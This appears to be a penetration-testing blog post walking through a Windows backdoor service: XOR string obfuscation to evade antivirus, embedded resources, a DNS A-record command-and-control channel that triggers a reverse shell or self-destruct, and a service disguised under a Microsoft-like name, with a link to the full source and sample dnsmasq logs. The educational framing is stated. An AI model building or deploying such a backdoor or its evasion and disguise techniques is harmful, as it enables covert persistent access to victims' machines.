Skip to content

Black Wolf Security

Windows Reverse Shell Service

In the previous blog post, Case Study in Evading AVG Antivirus, I went through the process of taking a basic reverse shell for Windows and modifying it to evade the AVG antivirus engine. In this post, I have completely rewritten the original reverse shell binary and turned it into something a lot more useful (and fun).

First of all, the code for this can be downloaded from Github as follows:

 
git clone https://github.com/blackwolfresearch/windows_backdoor_poc
 

The binary from the previous post was ok, but to be really useful I wanted to add some more features. Some of these are practical and a few are just me having fun learning how to do things in Windows. The features I wanted, aside from the AV evasion are:

Before I get into the details of this, I want to make it very clear that:

Development Environment Setup

To perform this testing, I used the following:

To install the ming compiler on Kali, all that is needed is to:

 
apt-get -y install mingw-w64
 

String Obfuscation

I'm not sure why this isn't standard practice when creating malware, but it seems like it should be. Whenever I see a binary that I suspect might be some type of malware, the first thing I do is:

 
strings suspected_malware.bin
 

I've actually found a lot of binaries that contain obvious signs of being malware just by doing this. Of course I'm not an expert at all and my malware samples are rather limited, but in any case it seems like if you want to avoid detection and make it a little more difficult to identify your binary as malware, you should do some simple obfuscation. In this example, the code for doing this isn't anything special, just a simple xor function run against a given input buffer of given length:

char *xorit(unsigned char xor_val, char *str, int len) {
    char *buf=malloc(len+1);
    int i=0;
 
    for (i=0;i<len;i++) {
        buf[i]=(str[i] ^ (unsigned char)xor_val);
    }
 
    return buf;
}

Included in the code on Github is a small utility called xor_string which is used to encode strings for inclusion in the malware source code. It generates the necessary macros required to xor the string back to its original value. An example of running this utility can be seen here:

 
./xor_string "my secret string"
// my secret string
xorit(0x0D, "\x60\x74\x2d\x7e\x68\x6e\x7f\x68\x79\x2d\x7e\x79\x7f\x64\x63\x6a",16)
 

An example use case can be seen below in this test program:

#include <stdio.h>
#include <stdlib.h>
 
// my secret string
#define XOR_STRING xorit(0x0D, "\x60\x74\x2d\x7e\x68\x6e\x7f\x68\x79\x2d\x7e\x79\x7f\x64\x63\x6a",16)
 
char *xorit(unsigned char xor_val, char *str, int len) {
    char *buf=malloc(len+1);
    int i=0;
 
    for (i=0;i<len;i++) {
        buf[i]=(str[i] ^ (unsigned char)xor_val);
    }
 
    buf[i]=(char)0;
 
    return buf;
}
 
void main(int argc, char *argv[]) {
    printf("%s\n", XOR_STRING);
}

This code is incredibly simple, but the nice thing is it harder to identify our binary as malware and also more difficult to see what it does. Here is an example of it running, and also what happens when you run strings against it:

 
$ ./xor_test 
my secret string
$ strings xor_test | grep -c secret
0
 

Because of the simplicity and usefulness of this function, I'll be using this throughout this example. If you wish to modify any of the strings in the backdoor program, simply use the xor_string utility and plug the output into the relevant section of backdoor.h

Resource Self-Containment

Based on the requirements of this program, only a few files need to be embedded into the binary. So I've included a small utility called encode_bin. This simply opens a given binary resource (such as an image), reads it, xor encodes it, then outputs a C source code file that can be compiled into the main program. Here is an example of the program usage:

 
$ ./encode_bin 
Usage: encode_bin bin_file c_source_file var_prefix
$ dd if=/dev/zero of=test.bin bs=1 count=64
$ ./encode_bin test.bin test_bin.c test_bin
 

If we now look at the resulting test_bin.c file, this is what was generated:

unsigned char *test_bin_data=
    "\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b"
    "\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b"
    "\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b"
    "\x7b\x7b\x7b\x7b";
 
int test_bin_data_len=64;
 
unsigned char test_bin_xor_val=0x7b;

C2 Methodology

The requirements of this program do not dictate that we have some highly sophisticated C2 (command and control) mechanisms. Again, this program is mostly a proof of concept. That being said, there are lots of C2 command channels that could be used, but I chose to use a simple DNS method. Basically, the logic is quite simple. We have a C2 FQDN which will be hard coded into the binary. All we are doing is periodically resolving that hostname. If it resolves, we will perform some tests against the 32 bit value which is otherwise just an IP address. We will decode it as follows:

Octet 1:Doesn't matter
Octet 2:Doesn't matter
Octet 3:If the 0x04 bit is set, then we initiate a reverse shell
If the 0x08 bit is set, then we initiate a self-destruct
Octet 4:This is a checksum byte against octets 1-3. If the checksum computes correctly, we consider the message valid

The idea behind this is that you can have a hostname of something like update.example.com whose DNS "A" record has a very low TTL and normally resolves to an innocent looking IP. When you want the remote service to perform an action, you change a few bits in the "A" record and soon afterward, some magic will happen. As with the above requirements, there is a small utility that can be used to calculate the needed IP address given a sample IP address and the desired flags. An example of the usage of this program can be seen here:

 
$ ./make_cnc_ip 
make_cnc_ip [ip_address] [BD_CNC_RSHELL_FLAG] [BD_CNC_SELF_DESTRUCT]
$ ./make_cnc_ip 1.1.0.0 BD_CNC_RSHELL_FLAG BD_CNC_SELF_DESTRUCT
1.1.12.14
$ ./make_cnc_ip 45.79.83.139 BD_CNC_RSHELL_FLAG BD_CNC_SELF_DESTRUCT
45.79.95.219
 

Shell Service In Action

Ok, well this is all fine and good in theory, so let's have some fun now! First, how do we use this binary? Since this is not an exploit, but instead a backdoor program, it is assumed that administrative access to the system has already been obtained. This is needed to install the service executable. As I mentioned previously, the backdoor.exe program is self-installing, amongst other things. It accepts several arguments on the command line, which are:

-install This will extract the self-contained resources and install the service. It will then start the service and begin the polling loop that waits for an action from the C2 channel.
-remove This will stop the service and remove it from the list of services. Afterwards, it will remove the service executable and previously extracted resources.
-nosvc This doesn't install the service, but simply enters the polling loop as if it were the running service. This is pretty much just for testing.

For development and testing purposes, I simply had the "victim" system resolve DNS using an instance of dnsmasq on the attack host. If this were used in the real world, it would probably be done a bit differently. In any case, a helper script called dns_cnc_test.sh is included which uses the domain example.com and sets the IP address returned by dnsmasq to reflect the desired mode of operation. The parameters for this script are as follows:

neutral (or no param given) This simply tells the backdoor to not perform any action
shell This instructs the backdoor to attempt a reverse shell connection to the attack host
destruct This instructs the backdoor to stop and uninstall the service

For testing, I first run the dns_cnc_test.sh script with no parameters. Next we run the install command as shown here:

What happens immediately after this is that all windows on the desktop are minimized and a nice background is displayed showing that the system has been compromised:

I would like to take a moment to point out that I do not believe that displaying this, or playing the sound, should be done during a normal penetration test. For one, obviously it would alert the user of the compromise. Also, I do not believe it is very professional to throw it in the client's face in this manner. This was done simply for demonstration purposes and fun.

Now let's take a closer look at what got installed on the system. If we look at the services, we will see this new service was added:

The service name and description are defineable in the backdoor.h header file. I opted to use a name that a user or even a system administrator might not think twice about if they saw it. Additionally, a person seeing a service description like "This service provides connection services for Local Area Networks" might be reluctant to stop it if they think it might screw up their network connectivity. Finally, the file name of "msnethlp.exe" sounds like it could be a legitimate Microsoft supplied service executable.

At this point during the test, no shell has been established even though the attack host is currently running a netcat listener. This is because the C2 channel is resolving the DNS name without the BD_CNC_RSHELL_FLAG bit set. The dnsmasq helper script actually runs dnsmasq in debug mode so we can see what has been going on so far:

 
$ ./dns_cnc_test.sh 
dnsmasq: started, version 2.77 cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt DBus i18n IDN DHCP DHCPv6 no-Lua TFTP conntrack ipset auth DNSSEC loop-detect inotify
dnsmasq: reading /etc/resolv.conf
dnsmasq: using nameserver 8.8.8.8#53
dnsmasq: using nameserver 8.8.4.4#53
dnsmasq: read /etc/hosts - 6 addresses
dnsmasq: query[A] vl.ff.avast.com from 10.10.75.193
dnsmasq: forwarded vl.ff.avast.com to 8.8.8.8
dnsmasq: forwarded vl.ff.avast.com to 8.8.4.4
dnsmasq: reply vl.ff.avast.com is 77.234.41.59
dnsmasq: reply vl.ff.avast.com is 77.234.41.57
dnsmasq: reply vl.ff.avast.com is 77.234.41.58
dnsmasq: query[A] updates.example.com from 10.10.75.193
dnsmasq: config updates.example.com is 10.10.67.87
dnsmasq: query[A] updates.example.com from 10.10.75.193
dnsmasq: config updates.example.com is 10.10.67.87
dnsmasq: query[A] updates.example.com from 10.10.75.193
dnsmasq: config updates.example.com is 10.10.67.87
dnsmasq: query[A] updates.example.com from 10.10.75.193
dnsmasq: config updates.example.com is 10.10.67.87
dnsmasq: query[A] updates.example.com from 10.10.75.193
dnsmasq: config updates.example.com is 10.10.67.87
 

Now let's change that by aborting the script (CTRL-C) and starting it with the shell option:

 
$ ./dns_cnc_test.sh shell
dnsmasq: started, version 2.77 cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt DBus i18n IDN DHCP DHCPv6 no-Lua TFTP conntrack ipset auth DNSSEC loop-detect inotify
dnsmasq: reading /etc/resolv.conf
dnsmasq: using nameserver 8.8.8.8#53
dnsmasq: using nameserver 8.8.4.4#53
dnsmasq: read /etc/hosts - 6 addresses
dnsmasq: query[A] updates.example.com from 10.10.75.193
dnsmasq: config updates.example.com is 10.10.71.91
dnsmasq: query[A] www.example.com from 10.10.75.193
dnsmasq: config www.example.com is 10.10.75.228
 

Once the script started, it took around 20 seconds or so for the polling loop to query for C2 information. But as you can see above, we are now returning a different value for updates.example.com with the BD_CNC_RSHELL_FLAG bit set. As a result, two things happen. First, the shell service plays a nice pwned.mp3 file that says "sorry it looks like you've been pwned" and more importantly, we receive an incoming reverse shell connection on the attack host:

Great, now we have a shell. If we lose the connection, no problem - it will reconnect at the interval configured in the backdoor.h file. If we want to disconnect and then turn the reverse shell capability off for a while, we just re-run the dnsmasq helper script with no parameters and change it sometime in the future when we want to get a shell again. Or if we are finished, simply abort the dnsmasq helper script and re-run it with the destruct flag as shown here:

 
$ ./dns_cnc_test.sh destruct
dnsmasq: started, version 2.77 cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt DBus i18n IDN DHCP DHCPv6 no-Lua TFTP conntrack ipset auth DNSSEC loop-detect inotify
dnsmasq: reading /etc/resolv.conf
dnsmasq: using nameserver 8.8.8.8#53
dnsmasq: using nameserver 8.8.4.4#53
dnsmasq: read /etc/hosts - 6 addresses
dnsmasq: query[A] updates.example.com from 10.10.75.193
dnsmasq: config updates.example.com is 10.10.75.95
 

I want to point out that, at this time, the service does successfully uninstall itself. Unfortunately it doesn't successfully remove the wallpaper. I intend to fix this pretty soon, but remember, this is a proof of concept and it isn't perfect.

Conclusion

The development of this backdoor was mostly a learning exercise for me. During this I was able to solve some real world antivirus evasion scenarios and think about some useful features I'd want in a backdoor service running on Windows. Additionally, since I have limited experience with Windows development, I was able to have some fun learning a few things. Although this software could be used in a real world situation (although it would be highly recommended to disable the "fun" features), I am not suggesting that it is fit for anything other than educational purposes.

As with everything on this site, this software is created for educational purposes and/or ethical hacking purposes only (i.e., penetration testing). As with all open source software in the penetration testing world, I am not responsible for any misuse of this software or software derived from it.